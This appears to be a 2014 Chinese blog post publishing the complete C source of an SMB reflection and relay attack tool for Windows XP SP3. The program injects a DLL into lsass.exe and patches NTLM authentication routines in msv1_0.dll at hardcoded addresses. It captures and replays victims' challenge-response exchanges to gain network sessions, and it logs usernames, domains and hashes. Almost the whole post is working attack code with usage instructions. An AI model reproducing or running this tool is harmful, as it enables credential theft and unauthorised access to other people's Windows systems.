注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

SMB反射中继测试程序V1.4  

2014-07-03 09:56:58|  分类: 利用程序 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

SMB反射中继测试程序V1.4

因为SMB中继或者反射刚开始是不知道对方帐号名的,所以需要提供最初的帐号名字。
当客户第二次连接时就会用前面那次的帐号。

[*] SMB反射中继测试程序V1.4 [hcper @ 2014.7.2修改]
[*] 帮助: USE <--relay | --reflect> <InitServer> [InitUser]
[*] InitUser默认为Administrator
[*] SMB反射: USE --reflect win2k3sp2 test
[*] SMB中继: USE --relay win2k3sp2 test
[!] ===系统为XPSP3,硬编码===

SMB反射测试
可以改reflect.bat里面的最初服务器、最初帐号再运行即可

SMB中继测试
可以改relay.bat里面的最初服务器、最初帐号再运行即可

//use.cpp

// cl use.cpp
// SMB反射中继测试程序V1.4 [hcper @ 2014.7.2修改]
// ===系统为XPSP3,硬编码===
// 注入setuse.dll到lsass进程并等待反连事件!
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#pragma comment(lib,"advapi32.lib")
#pragma comment(lib,"mpr.lib")

#define INFOFILE "\\info.txt"

HANDLE hEvent,hEnd;
BOOL bRelay = FALSE;
char initserver[100];
char inituser[100];
char server[100];
char name[100];
char password[100];

DWORD GetPid(char* name)
{
 HANDLE hProcessSnap;
 PROCESSENTRY32 pe32 = {0};

 hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

 if (hProcessSnap == (HANDLE)-1) return 0;

 pe32.dwSize = sizeof(PROCESSENTRY32);

 if (Process32First(hProcessSnap, &pe32))
 {
  do
  {
   if (stricmp(pe32.szExeFile, "lsass.exe") == 0) return pe32.th32ProcessID;
  }
  while (Process32Next(hProcessSnap, &pe32));
 }

 CloseHandle (hProcessSnap);
 return 0;
}

int AddPrivilege(const char *Name)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID Luid;

    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
        &hToken)) return 1;

    if (!LookupPrivilegeValue(NULL,Name,&Luid)) return 1;

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid = Luid;

    if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return 1;

    return 0;
}

int InjDll(char* dllname)
{
 DWORD dwProcessId;
 HANDLE hProcess = NULL, hThread = NULL;
 PSTR pszLibFileRemote = NULL;
 LPTHREAD_START_ROUTINE Proc;

 dwProcessId = GetPid("lsass.exe");
 if (dwProcessId == 0) return 0;

 __try {
  AddPrivilege(SE_DEBUG_NAME);

  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId);
  if (hProcess == NULL) __leave;

  int cb  = strlen(dllname) + 1;

  pszLibFileRemote = (PSTR) VirtualAllocEx(hProcess, NULL, cb, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (Proc == NULL) __leave;

  if (!WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID) dllname, cb, NULL)) __leave;

  Proc=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32"),"LoadLibraryA");

  hThread = CreateRemoteThread(hProcess, NULL, 0, Proc, pszLibFileRemote, 0, NULL);
  if (hThread == NULL) __leave;
  WaitForSingleObject(hThread, INFINITE);
 }

 __finally {
  if (Proc != NULL) VirtualFreeEx(hProcess, Proc, 0, MEM_RELEASE);
  if (hThread  != NULL) CloseHandle(hThread);
  if (hProcess != NULL) CloseHandle(hProcess);
  return 1;
 }
}

BOOL CtrlHandler( DWORD fdwCtrlType )
{
 switch (fdwCtrlType)
 {
  case CTRL_C_EVENT:
  case CTRL_CLOSE_EVENT:
  case CTRL_BREAK_EVENT: 
  case CTRL_LOGOFF_EVENT:
  case CTRL_SHUTDOWN_EVENT:
   SetEvent(hEnd); // 使注入的setuse.dll退出
   CloseHandle(hEnd);
   CloseHandle(hEvent);
   exit(0);
   return TRUE;  
  default:
   return FALSE;
 }
}

DWORD WINAPI InjectThread(LPVOID lpParam)
{
 char buf[256];

 GetModuleFileName(NULL, buf, sizeof(buf));
 strcpy( strrchr(buf,'\\') , "\\setuse.dll");
 Sleep(1000);
 InjDll(buf);
 return 0;
}

DWORD WINAPI NetUseThread(LPVOID lpParam)
{
 FILE* f;
 NETRESOURCE nr;
 DWORD dwRet;
 char buf[100];
 char cmd[256];

 GetModuleFileName(NULL, buf, sizeof(buf));
 strcpy( strrchr(buf,'\\') , INFOFILE);

 f=fopen(buf, "r");
 if (f != NULL)
 { char* p;
  fgets(server, 100, f);
  p = strstr(server, "\n");
  if (p!=NULL) *p = 0;
  fgets(name, 100, f);
  p = strstr(name, "\n");
  if (p!=NULL) *p = 0;
  fclose(f);
 }
 else //最初目标
 {
  sprintf(server, "\\\\%s\\IPC$", initserver);
  sprintf(name, "%s\\%s", initserver, inituser);
 }

 strcpy(password, "123456^%$#@!");

 if (bRelay) //如果是中继的话则使目标为中继服务器!
 {
  sprintf(server, "\\\\%s\\IPC$", initserver);
 }

 sprintf(cmd, "net use %s /user:%s %s", server, name, password);

 memset(&nr, 0, sizeof(NETRESOURCE));
    nr.dwType = RESOURCETYPE_ANY;
    nr.lpLocalName = NULL;
    nr.lpRemoteName = server;
    nr.lpProvider = NULL;
 dwRet = WNetAddConnection2(&nr, password, name, 0);

 if(dwRet != NO_ERROR)
  printf("[-] %s ERROR=%d\n", cmd, GetLastError());
 else
 {
  printf("[+] %s SUCCESS!\n", cmd);
  system("start cmd /k net use");
 }
 
 return 0;
}

void help(void)
{
 printf("[*] SMB反射中继测试程序V1.4 [hcper @ 2014.7.2修改]\n");
 printf("[*] 帮助: USE <--relay | --reflect> <InitServer> [InitUser]\n");
 printf("[*] InitUser默认为Administrator\n");
 printf("[*] SMB反射: USE --reflect win2k3sp2 test\n");
 printf("[*] SMB中继: USE --relay win2k3sp2 test\n");
 printf("[!] ===系统为XPSP3,硬编码===\n");
}

int main(int argc, char *argv[])
{
 HANDLE hThread;
 FILE* f;
 char cmd[256];
 char buf[256];

 if (argc < 3)
 {
  help();
  exit(0);
 }

 if (stricmp(argv[1], "--relay") == 0)
  bRelay = TRUE;
 else if (stricmp(argv[1], "--reflect") == 0)
 {
  bRelay = FALSE;
 }
 else
 {
  help();
  exit(0);
 }
 
 strcpy(initserver, argv[2]);

 if (argc > 3)
  strcpy(inituser, argv[3]);
 else
  strcpy(inituser, "Administrator");


 //保存信息
 GetModuleFileName(NULL, buf, sizeof(buf));
 strcpy( strrchr(buf,'\\') , INFOFILE);
 f=fopen(buf,"w");
 if (f != NULL)
 {
  fprintf(f, "\\\\%s\\IPC$\n", initserver);
  fprintf(f, "%s\\%s\n", initserver, inituser);
  fclose(f);
 }

 hEvent = CreateEvent(NULL, TRUE, FALSE, "NETUSE"); // 手动事件无信号
 
 if (hEvent == NULL)
 {
  printf("[-] CreateEvent NETUSE Error!");
  return 0;
 }

 if(GetLastError() == ERROR_ALREADY_EXISTS) exit(0);

 hEnd = CreateEvent(NULL, TRUE, FALSE, "USEEND"); // 手动事件无信号
 
 if (hEnd == NULL)
 {
  printf("[-] CreateEvent USEEND Error!");
  return 0;
 }

 SetConsoleCtrlHandler((PHANDLER_ROUTINE) CtrlHandler, TRUE);
 
 hThread = CreateThread(NULL, 0, InjectThread, NULL, 0, NULL);
 if (hThread == NULL)
 {
  printf("[-] 注入Dll失败!\n");
  return 0;
 }
 CloseHandle(hThread);

 printf("[*] 等待USEEND事件...\n[*] 结束请按 CTRL+C\n");

 while (1)
 {
  WaitForSingleObject(hEvent, INFINITE); // 等待直到事件有信号


  hThread = CreateThread(NULL, 0, NetUseThread, NULL, 0, NULL);
  if (hThread == NULL)
  {
   printf("[-] 创建NETUSE失败!\n");
   return 0;
  }
  CloseHandle(hThread);

  ResetEvent(hEvent);
 }

 return 0;
}

//setuse.cpp

// cl /LD setuse.cpp
// SMB反射中继测试程序V1.4 [hcper @ 2014.7.2修改]
// ===系统为XPSP3,硬编码===
#include <windows.h>
#include <stdio.h>

//#define __WIN2K__
#define __WINXP__

#define IdxGetSrvChaAndSetCliCha 0
#define IdxSetSrvCha 1
#define IdxGetCliCha 2
#define IdxGetResp  3
#define IdxSetResp  4

#define NUM (sizeof(sets)/sizeof(sets[0]))
#define LOGFILE "\\setuse.log"
//#define REFFILE "\\reflect.bat"
#define INFOFILE "\\info.txt"

typedef int (WINAPI *PHookGetSrvChaAndSetCliCha)(void* s_cha, void* c_cha, void* a3);
typedef int (WINAPI *PHookSetSrvCha)(void* buf, int len);
typedef int (WINAPI *PHookGetCliCha)(void* s_cha, void* c_cha, void* a3);
typedef int (WINAPI *PHookGetResp)(void* a1, void* a2, int len);
typedef int (WINAPI *PHookSetResp)(void* a1, void* a2, void* a3);

typedef struct _AddrSet
{
 DWORD addr;
 DWORD bak;
 DWORD oldfun;
 DWORD newfun;
} AddrSet;

int WINAPI HookGetSrvChaAndSetCliCha(void* s_cha, void* c_cha, void* a3);
int WINAPI HookSetSrvCha(void* buf, int len);
int WINAPI HookGetCliCha(void* s_cha, void* c_cha, void* a3);
int WINAPI HookGetResp(void* a1, void* a2, int len);
int WINAPI HookSetResp(void* a1, void* a2, void* a3);

HINSTANCE hDll;
FILE* f=NULL;
FILE* ref=NULL;

DWORD state=0;
BYTE srvcha[8]; //存储反连过去得到的服务端挑战
BYTE clicha[8]; //存储对方计算后的客户端挑战
BYTE resp[0x18]; //存储对方计算后的响应

#ifdef __WIN2K__
AddrSet sets[]=
{ //2k msv1_0.dll 地址是硬编码所以不通用!!!
 0x782D2FEF, 0, 0, (DWORD)HookGetSrvChaAndSetCliCha, //get srvcha / set clicha
 0x782DAD1B, 0, 0, (DWORD)HookSetSrvCha, //set use / set srvcha
 0x782D6E3B, 0, 0, (DWORD)HookGetCliCha, //get clicha
 0x782DBBF5, 0, 0, (DWORD)HookGetResp, //get resp
 0x782D3009, 0, 0, (DWORD)HookSetResp //set resp
};
#endif

#ifdef __WINXP__
AddrSet sets[]=
{ //xp msv1_0.dll 地址是硬编码所以不通用!!!
 0x77C48E4E, 0, 0, (DWORD)HookGetSrvChaAndSetCliCha, //get srvcha / set clicha
 0x77C45B13, 0, 0, (DWORD)HookSetSrvCha, //set use / set srvcha
 0x77C4D8B8, 0, 0, (DWORD)HookGetCliCha, //get clicha
 0x77C4F9A0, 0, 0, (DWORD)HookGetResp, //get resp
 0x77C48E62, 0, 0, (DWORD)HookSetResp //set resp
};
#endif

void LogStart(void)
{
 SYSTEMTIME st;
 char buf[100];

 GetLocalTime(&st);
 sprintf(buf, "===============================[%04d-%02d-%02d/%02d:%02d:%02d]===============================\n",
  st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
 fputs(buf, f);
 return;
}

void OutPut(char* str)
{
 char buf[100];

 sprintf(buf, "[%d.%d] %s", GetCurrentProcessId(), GetCurrentThreadId(), str);

 OutputDebugString(buf);
 return;
}

void Dump(unsigned char* s,int n) //输出二进制内容
{
 int i;
 char *p;
 char b[256];

 for (i=0,p=b;i<n;i++,p+=3 )
 {
  sprintf(p,"%02X ",*(s+i));
 }

 //printf("%p: %s\n",s,b); //debug
 fprintf(f, "%s\n", b);
}

//改写代码
void modify(LPBYTE addr, DWORD* bak, DWORD* oldfun, LPBYTE newfun)
{
 DWORD old;
 VirtualProtect(addr, 8, PAGE_EXECUTE_READWRITE, &old);

 if (*(BYTE*)(addr) == 0xE8) //后面4字节是相对偏移
 {
  if (newfun != NULL) //非NULL则设置
  {
   if (bak != NULL)
   {
    *bak = *(DWORD*)(addr+1);
   }
   if (oldfun != NULL)
   {
    *oldfun = (DWORD)(*(DWORD*)(addr+1)+(addr+5));
   }

   *(DWORD*)(addr+1) = newfun-(addr+5);
  }
  else //NULL则恢复
  {
   *(DWORD*)(addr+1) = *bak;
  }
 }
 else if (*(WORD*)(addr) == 0x15FF) //call [xxx] 改写成call yyy
 {
  if (newfun != NULL) //非NULL则设置
  {
   if (bak != NULL)
   {
    *bak = *(DWORD*)(addr+2);
   }
   if (oldfun != NULL)
   {
    *oldfun = *(DWORD*)(*(DWORD*)(addr+2));
   }

   *(WORD*)(addr) = 0xE890;
   *(DWORD*)(addr+2) = newfun-(addr+6);
  }
 }
 else if (*(WORD*)(addr) == 0xE890) //用于恢复call [xxx]
 {
  if (newfun == NULL) //NULL则恢复
  {
   *(WORD*)(addr) = 0x15FF;
   *(DWORD*)(addr+2) = *bak;
  }
 }

 VirtualProtect(addr, 8, old, &old);
}

void sethooks(void)
{
 int i;
 DWORD oldprotect;
 for (i=0; i<NUM; i++)
 {
  modify((LPBYTE)sets[i].addr, &sets[i].bak, &sets[i].oldfun, (LPBYTE)sets[i].newfun);
 }
}

void unhooks(void)
{
 int i;
 for (i=0; i<NUM; i++)
 {
  modify((LPBYTE)sets[i].addr, &sets[i].bak, NULL, NULL);
 }
}

//反连回去
void setuse(void)
{
 HANDLE hEvent;

 OutputDebugString("[*] Set NETUSE Event!\n");

 hEvent = OpenEvent(EVENT_ALL_ACCESS, FALSE, "NETUSE"); // 打开事件
 
 if (hEvent == NULL)
 {
  OutputDebugString("[-] OpenEvent NETUSE Error!");
  return;
 }
 
 SetEvent(hEvent); // 设置事件有信号

 CloseHandle(hEvent);

 return;
}

//在服务器反连客户时,得到反连的服务器挑战,并等待设置客户端挑战
int WINAPI HookGetSrvChaAndSetCliCha(void* s_cha, void* c_cha, void* a3)
{
 OutPut("[*] HookGetSrvChaAndSetCliCha\n");

 int r;

 //得到反连的服务器挑战
 memcpy(srvcha, s_cha, 8);

 if (f != NULL)
 {
  LogStart();
  fputs("[1] SrvCha: ", f);
  Dump(srvcha, 8);
 }

 state = 1;

 //等待设置客户端挑战
 while (state != 2)
 {
  Sleep(100);
 }

 memcpy( c_cha, clicha, 8);

 r = ((PHookGetSrvChaAndSetCliCha)sets[IdxGetSrvChaAndSetCliCha].oldfun)(s_cha, c_cha, a3);

 return r;
}

//在客户正连服务器时产生srvcha的地方改写,这里最先开始
int WINAPI HookSetSrvCha(void* buf, int len)
{
 OutPut("[*] HookSetSrvCha\n");

 int r;

 while (state != 0)
 {
  Sleep(100);
 }

 //设置反连事件
 setuse();

 //等待得到反连的srvcha
 while (state != 1)
 {
  Sleep(100);
 }

 r  = ((PHookSetSrvCha)sets[IdxSetSrvCha].oldfun)(buf, len);

 //调用完旧函数之后设置得到的srvcha
 memcpy(buf, srvcha, 8);
 
 return r;
}

//得到clicha
int WINAPI HookGetCliCha(void* s_cha, void* c_cha, void* a3)
{
 OutPut("[*] HookGetCliCha\n");

 int r;
 char buf[100];
 char domainname[100];
 char username[100];
 char hostname[100];
 char cmd[256];
 char* ptr = (char*)s_cha - 0x1C;

 memset(buf, 0, 100);
 memcpy(buf, (void*)(*(DWORD *)(ptr+8)), *(WORD *)(ptr+4));
 WideCharToMultiByte( CP_ACP, 0, (WORD*)buf, -1, domainname, 100, NULL, NULL );

 memset(buf, 0, 100);
 memcpy(buf, (void*)(*(DWORD *)(ptr+0x10)), *(WORD *)(ptr+0x0c));
 WideCharToMultiByte( CP_ACP, 0, (WORD*)buf, -1, username, 100, NULL, NULL );

 memset(buf, 0, 100);
 memcpy(buf, (void*)(*(DWORD *)(ptr+0x18)), *(WORD *)(ptr+0x14));
 WideCharToMultiByte( CP_ACP, 0, (WORD*)buf, -1, hostname, 100, NULL, NULL );

 //保存信息
 GetModuleFileName(hDll, buf, sizeof(buf));
 strcpy( strrchr(buf,'\\') , INFOFILE);
 ref=fopen(buf,"w");
 if (ref != NULL)
 {
  fprintf(ref, "\\\\%s\\IPC$\n", hostname);
  fprintf(ref, "%s\\%s\n", domainname, username);
  fclose(ref);
  ref = NULL;
 }

/*
 //构造批处理
 sprintf(cmd, "net use \\\\%s /user:%s\\%s 1!2@3#4$5%\n", hostname, domainname, username);
 strcat(cmd, "if not %errorlevel% == 0 exit\n");
 GetModuleFileName(hDll, buf, sizeof(buf));
 strcpy( strrchr(buf,'\\') , REFFILE);
 ref=fopen(buf,"w");
 if (ref != NULL)
 {
  fputs(cmd, ref);
  fclose(ref);
  ref = NULL;
 }
*/
 //调用前先得到clicha
 memcpy(clicha, c_cha, 8);

 if (f != NULL)
 {
  fprintf(f, "DOMAINNAME= %s\n", domainname);
  fprintf(f, "USERNAME  = %s\n", username);
  fprintf(f, "HOSTNAME  = %s\n", hostname);
  fputs("[2] CliCha: ", f);
  Dump(clicha, 8);
 }

 r = ((PHookGetCliCha)sets[IdxGetCliCha].oldfun)(s_cha, c_cha, a3);
 return r;
}

//得到resp
int WINAPI HookGetResp(void *a1, void *a2, int len)
{
 OutPut("[*] HookGetResp\n");

 int r;
 //调用前先得到resp
 memcpy(resp, a1, 0x18);

 if (f != NULL)
 {
  fputs("[3] Respon: ", f);
  Dump(resp, 0x18);
  fputs("\n", f);
  fflush(f);
 }

 r = ((PHookGetResp)sets[IdxGetResp].oldfun)(a1, a2, len);
 state = 2;

 while (state != 3)
 {
  Sleep(100);
 }

 Sleep(500); //先让反连的先完成

 OutputDebugString("=================[END]=================\n");
 state = 0;

 return r;

}

//设置resp
int WINAPI HookSetResp(void* a1, void* a2, void* a3)
{
 OutPut("[*] HookSetResp\n");

 int r;

 r = ((PHookSetResp)sets[IdxSetResp].oldfun)(a1, a2, a3);

 //调用后再设置resp
 memcpy( a3, resp,0x18);

 state = 3;

 return r;
}


DWORD WINAPI WaitEndThread(LPVOID lpParam)
{
 HANDLE hEnd;
 OutputDebugString("[*] Wait USEEND Event...\n");

 hEnd = OpenEvent(EVENT_ALL_ACCESS, FALSE, "USEEND"); // 打开事件
 
 if (hEnd != NULL)
 {
  WaitForSingleObject(hEnd, INFINITE); // 等待直到事件有信号
  CloseHandle(hEnd);
 }

 while (state != 0) // 逐步递减状态到初态
 {
  Sleep(300);
  state--;
 }

 OutputDebugString("[*] FreeLibraryAndExitThread\n");
 FreeLibraryAndExitThread(hDll,0);
 return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad)
{
 HANDLE hThread;
 char buf[256];

 hDll=hinstDll;

 if (fdwReason == DLL_PROCESS_ATTACH)
 {
  GetModuleFileName(hDll, buf, sizeof(buf));
  strcpy( strrchr(buf,'\\') , LOGFILE);
  f=fopen(buf,"a");

  OutputDebugString("[*] sethooks ...\n");
  sethooks();
  
  hThread = CreateThread(NULL, 0, WaitEndThread, NULL, 0, NULL);
  if (hThread == NULL) return TRUE;

  CloseHandle(hThread);
 }
 if (fdwReason == DLL_PROCESS_DETACH)
 {
  if (f!=NULL)
  {
   fclose(f);
   f=NULL;
  }

  OutputDebugString("[*] unhooks ...\n");
  unhooks();
 }
 return(TRUE);
}

  评论这张
 
阅读(261)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017